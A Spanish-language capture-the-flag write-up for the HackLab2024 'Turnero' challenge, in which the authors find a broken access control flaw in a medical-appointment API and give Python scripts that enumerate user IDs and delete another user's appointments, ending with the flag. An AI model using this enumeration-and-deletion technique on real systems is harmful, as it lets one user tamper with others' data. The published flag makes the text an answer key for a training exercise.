## M1st1fy Este documento fue confeccionado por M1st1fy, un equipo concebido para la realización de CTFs:-) Nota: Pueden encontrar los otros documentos del HackLab2024 aquí Integrantes Integrante **Facultad** Agustín M. Blanco U.T.N. F.R.B.A. Tomás N. Raspa U.T.N. F.R.B.A. Índice 1. Turnero 1. Primera aproximación 2. Observando en profundidad 3. El ataque **Turnero** !! Al acceder al sistema, verás tus próximos turnos médicos. Tu compañero Fer también necesita un turno, pero el usuario xdalvik ha reservado demasiados turnos de manera intencionada para incomodar a los demás. ¿Podrías eliminar todos los turnos de "xdalvik" sin afectar los turnos del resto de los usuarios? Usuario: luis Clave: Luis.4321 Primera aproximación Al ingresar al sistema, tal y como nos fue anticipado por el enunciado, nos encontramos con una pantalla de inicio de sesión para lo que parecería ser un turnero: Turnos Médicos X Please log in to access this page. Iniciar sesión Usuario Contraseña Iniciar sesión Al ingresar con las credenciales de Luis que nos fueron provistas, obtenemos un panel con su listado de turnos: Turnos Médicos luis Cerrar sesión Mis Turnos Fecha y Hora Especialista Clínica Acciones Clínica del Sol 22/10/2024, 09:41:25 Dr. Alvarez Cancelar Hospital N°2 25/10/2024, 04:41:25 Dra. Gonzales Cancelar Clínica privada 22/10/2024, 10:41:25 Lic. Lopez Cancelar Punilla 23/10/2024, 10:41:25 Dr. Lange Cancelar Hospital N° 14 25/10/2024, 02:41:25 Dra. Farias Cancelar Jugando un poco con el sistema vemos que a priori lo único que parecería permitir es cerrar la sesión o cancelar un turno. Veamos ahora cómo está interactuando realmente nuestro navegador con el sistema... **Observando en profundidad** Ayudándonos de las herramientas de desarrollador de nuestro navegador, podemos ver las peticiones que se están haciendo al servidor junto con las respuestas que éste nos provee. Al cargar la página con estas herramientas observamos que realmente se está construyendo en dos pasos. Primero se obtiene la estructura, y luego se obtiene la información obtienen los turnos a través de una API Turnos Médicos luis Cerrar sesión Mis Turnos Fecha y Hora Especialista Clínica Acciones 22/10/2024, 09:41:25 Clínica del Sol Dr. Alvarez Cancelar Hospital N°2 25/10/2024, 04:41:25 Dra. Gonzales Cancelar 22/10/2024, 10:41:25 Clínica privada Lic. Lopez Cancelar 23/10/2024, 10:41:25 Dr. Lange Punilla Cancelar 25/10/2024, 02:41:25 Hospital N° 14 Dra. Farias Cancelar Adblock Plus AdBlock Elements Console Sources Network Performance Memory Application Security Lighthouse Recorder Performance insights 🗸 €3 ▼ Filter | | Fetch/XHR | | Doc | | CSS | | JS | | Font | | Img | | Media | 500 ms 4500 ms 5000 ms 5500 ms 6000 ms 6500 ms 7500 ms Time Туре Size Status Initiator chl-53dca137-13ed-4b13-985d-97022b8f9e1e-turnero.softwareseguro.com.ar 2.2 kB 200 939 ms document bootstrap.min.css 0 ms stylesheet <u>(index):6</u> bootstrap.bundle.min.js (index):56 script 0 ms (i) appointments/ 200 fetch (index):41 920 B 332 ms 🕡 js.js 200 content.js:32 1.3 kB script 2 ms dom.js 200 2.0 kB content.js:32 1 ms script 🕡 js.js 200 1.3 kB content.js:32 script 2 ms 200 dom.js 2.0 kB content.js:32 2 ms script 200 1.3 kB 🕡 js.js script content.js:32 3 ms 9 requests | 10.9 kB transferred | 254 kB resources | Finish: 7.59 s | DOMContentLoaded: 1.05 s | Load: 1.06 s Al observar con mayor detenimiento la segunda petición vemos que se trata de un GET a api/1/appointments/ que devuelve un JSON con la información sobre los turnos: "clinic": "Cl\u00ednica del Sol", "date": "2024-10-22T21:41:25.683923", "id": 1, "specialist": "Dr. Alvarez", "user": "luis", "user\_id": 1 "clinic": "Hospital N\u00b02", "date": "2024-10-25T04:41:25.684032", "id": 2, "specialist": "Dra. Gonzales", "user": "luis", "user\_id": 1 "clinic": "Cl\u00ednica privada", "date": "2024-10-22T22:41:25.684079", "id": 3, "specialist": "Lic. Lopez", "user": "luis", "user\_id": 1 "clinic": "Punilla", "date": "2024-10-23T22:41:25.684119", "id": 4, "specialist": "Dr. Lange", "user": "luis", "user\_id": 1 "clinic": "Hospital N\u00b0 14", "date": "2024-10-25T02:41:25.684158", "id": 5, "specialist": "Dra. Farias", "user": "luis", "user\_id": 1 Si miramos la información contenida en la respuesta, todos los turnos devueltos pertenecen al user\_id 1, y, coincidentemente, la petición que habíamos hecho, la palabra appointments estaba precedida por un 1. Esto nos lleva hacer la siguiente suposición: !! El endpoint de la API probablemente sea /api/:user\_id/appointments/, siendo :user\_id el id del usuario que del que se desea obtener la lista de turnos Prestemos <del>ahora</del> atención al comportamiento del sistema cuando se desea cancelar un turno. Al presionar Cancelar recibimos un prompt consultando si estamos seguros. Turnos Médicos chl-53dca137-13ed-4b13-985d-97022b8f9e1eluis Cerrar sesión turnero.softwareseguro.com.ar dice ¿Está seguro de que desea cancelar este turno? Mis Turnos Cancelar Aceptar Fecha y Hora Acciones 25/10/2024, 04:41:25 Dra. Gonzales Hospital N°2 Cancelar 22/10/2024, 10:41:25 Lic. Lopez Clínica privada Punilla 23/10/2024, 10:41:25 Dr. Lange Cancelar Dra. Farias Hospital N° 14 25/10/2024, 02:41:25 Cancelar **⊕** : × Elements Console Sources Network Performance Memory Application Security Lighthouse Recorder Performance insights 🗸 Adblock Plus AdBlock (\$3 ▼ Filter ☐ Invert | More filters ▼ All | Fetch/XHR | Doc | CSS | JS | Font | Img | Media | Manifest | WS | Wasm | Other | 5 ms 15 ms 55 ms 60 ms 105 ms Perform a request or hit Ctrl + R to record the reload. Learn more Al aceptar, vemos que la página se recarga y, si miramos nuevamente las herramientas de desarrollador, vemos que se ejecutaron dos peticiones Turnos Médicos luis Cerrar sesión Mis Turnos Especialista Clínica Acciones Fecha y Hora 22/10/2024, 10:41:25 Clínica privada Lic. Lopez Cancelar Punilla 23/10/2024, 10:41:25 Dr. Lange Cancelar Hospital N° 14 25/10/2024, 02:41:25 Dra. Farias Cancelar Adblock Plus AdBlock Elements Console Sources Network Performance Memory Application Security Lighthouse Recorder Performance insights 🗸 €3 ▼ Filter ☐ Invert | More filters ▼ All | [Fetch/XHR] [Doc] [CSS] [JS] [Font] [Img] [Media] [Manifest] [WS] [Wasm] [Other] 800 ms 1100 ms 1500 ms 100 ms 400 ms 1300 ms 1400 ms Time Туре Size Name Status Initiator 200 fetch (index):93 745 B 965 ms 200 867 B 335 ms fetch (index):41 (i) appointments/ 2 requests | 1.6 kB transferred | 419 B resources La segunda petición es identica a todas las anteriores, obtiene el listado de turnos del usuario. Sin embargo, la primera es diferente. Se trata de un DELETE al endpoint /api/appointments/2 cuya respuesta fue el siguiente JSON: {"message":"Turno eliminado correctamente"} Observando el formato de la request, si lo extrapolamos con los datos que conocíamos de la respuesta al endpoint /api/:user\_id/appointments/ podemos sacar la siguiente conclusión: !! El endpoint de la API para cancelar turnos es /api/appointments/:id\_turno , siendo :id\_turno el id del turno que se desea cancelar Teniendo toda esta información, veamos ahora cómo podemos hacer para cancelarle los turnos a xdalvik:) El ataque Nuestro objetivo es cancelarle los turnos a xdalvik sin afectar a los demás usuarios. Sin embargo, para poder cancelar un turno, primero necesitamos su id de usuario. Para lograr esto, con la información obtenida anteriormente y un poco de pensamiento lateral, llegamos a la siguiente estrategia. Podemos utilizar el endpoint /api/:id\_usuario/appointments/ y un poco de fuerza bruta para encontrar el id del usuario correspondiente a xdalvik. from concurrent.futures import ThreadPoolExecutor import requests URL\_BASE = "https://chl-53dca137-13ed-4b13-985d-97022b8f9e1e-turnero.softwareseguro.com.ar" COOKIE\_SESION = ".eJwlzj0KwzAMQOG7eO5gWX9WLhNkS6Zdk2YqvXsDnR8Pvk\_Z15Hns2zv48pH2V9RtsIWi10kJwGad1VnBBzSZARSOEML8MlVogGZqUrYDOqVxSfMtQwFbak4EfX0hW0Ov6\_q7hm96yAOTWNlqtAQZ1YGiztyLzfkOvP4a6B8f59wLxE.Zxbteg.qbb\_2MLfNpQ\_oCHUQzmbH2F8IKI" res = requests.get(f"{URL\_BASE}/api/{id}/appointments", cookies={'session':COOKIE\_SESION}) datos = res.json() if datos != []: print(f"[X] Usuario encontrado! Usuario: [{datos[0]['user']}]. Id: [{datos[0]['user\_id']}]") if \_\_name\_\_ == '\_\_main\_\_': lista = [x for x in range(0,500)]with ThreadPoolExecutor(max\_workers=100) as executor: executor.map(probarId, lista) !! Nota: Las constantes BASE\_URL y COOKIE\_SESION deben ser adaptadas por ustedes para la instancia del laboratorio que estén ejecutando Al ejecutar el script obtenemos el siguiente resultado: [X] Usuario encontrado! Usuario: [luis]. Id: [1] [X] Usuario encontrado! Usuario: [analia]. Id: [49] [X] Usuario encontrado! Usuario: [xdalvik]. Id: [101] Genial! Encontramos el id de xdalvik! Ahora solo nos falta eliminar sus turnos. Para ello, aprovechando el otro endpoint que habíamos descubierto, podemos armar otro script que elimine todos sus turnos. import requests URL\_BASE = "https://chl-53dca137-13ed-4b13-985d-97022b8f9e1e-turnero.softwareseguro.com.ar" COOKIE\_SESION = ".eJwlzj0KwzAMQOG7eO5gWX9WLhNkS6Zdk2YqvXsDnR8Pvk\_Z15Hns2zv48pH2V9RtsIWi10kJwGad1VnBBzSZARSOEML8MlVogGZqUrYDOqVxSfMtQwFbak4EfX0hW00v6\_q7hm96yAOTWNlqtAQZ1YGiztyLzfkOvP4a6B8f59wLxE.Zxbteg.qbb\_2MLfNpQ\_oCHUQzmbH2F8IKI" def obtenerTurnos(idUsuario): res = requests.get(f"{URL\_BASE}/api/{idUsuario}/appointments/", cookies={'session':COOKIE\_SESION}) return res.json() def eliminarTurno(id): requests.delete(f"{URL\_BASE}/api/appointments/{id}/", cookies={'session':COOKIE\_SESION}) if \_\_name\_\_ == '\_\_main\_\_': turnosXdalvik = obtenerTurnos(101) eliminarTurno(turno["id"]) !! Nota: Las constantes BASE\_URL y COOKIE\_SESION deben ser adaptadas por ustedes para la instancia del laboratorio que estén ejecutando Luego de ejecutar este último script, si recargamos la página en el navegador veremos que hemos obtenido la flag! Turnos Médicos luis Cerrar sesión Mis Turnos d27fa3f8fc14ea101603d09436e28bf6 Fecha y Hora Especialista Clínica Acciones Clínica del Sol 25/10/2024, 12:29:39 Dr. Alvarez Cancelar Hospital N°2 23/10/2024, 11:29:39 Dra. Gonzales Cancelar Clínica privada 26/10/2024, 07:29:39 Lic. Lopez Cancelar Punilla 25/10/2024, 01:29:39 Dr. Lange Cancelar Hospital N° 14 Dra. Farias 24/10/2024, 12:29:39 Cancelar

!! Flag: d27fa3f8fc14ea101603d09436e28bf6